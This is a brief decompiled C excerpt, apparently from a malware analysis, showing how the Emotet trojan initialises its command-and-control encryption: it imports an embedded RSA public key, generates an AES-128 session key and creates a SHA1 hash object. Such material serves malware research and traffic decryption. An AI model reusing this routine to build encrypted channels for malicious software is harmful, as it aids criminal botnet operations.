Emotet C&C key generation

emotet.cnckeygen.c

 if ( fn_CryptAcquireContextW(cryptCtx->hProv, 0, 0, PROV_RSA_AES, 0xF0000040) )
 {
    if ( fn_CryptDecodeObjectEx(
           65537,
           RSA_CSP_PUBLICKEYBLOB,
           RSA_ENCODED,
           RSA_ENCODED_LEN,
           CRYPT_DECODE_ALLOC_FLAG,
           0,
           &prsaKey,
           &prsaKeyLen) )
    {
      v2 = fn_CryptImportKey(cryptCtx->hProv, prsaKey, prsaKeyLen, 0, 0, &cryptCtx->hCryptRSA);
      LocalFree(prsaKey);
      if ( v2 )
      {
        if ( fn_CryptGenKey(cryptCtx->hProv, CALG_AES_128, CRYPT_MODE_CBC, &cryptCtx->hCryptAES) )
        {
          if ( fn_CryptCreateHash(cryptCtx->hProv, CALG_SHA1, 0, 0, &cryptCtx->hCryptSHA1) )
            return 1;
          fn_CryptDestroyKey(cryptCtx->hCryptAES);
        }
        fn_CryptDestroyKey(cryptCtx->hCryptRSA);
      }
    }
    fn_CryptReleaseContext(cryptCtx->hProv, 0);
 }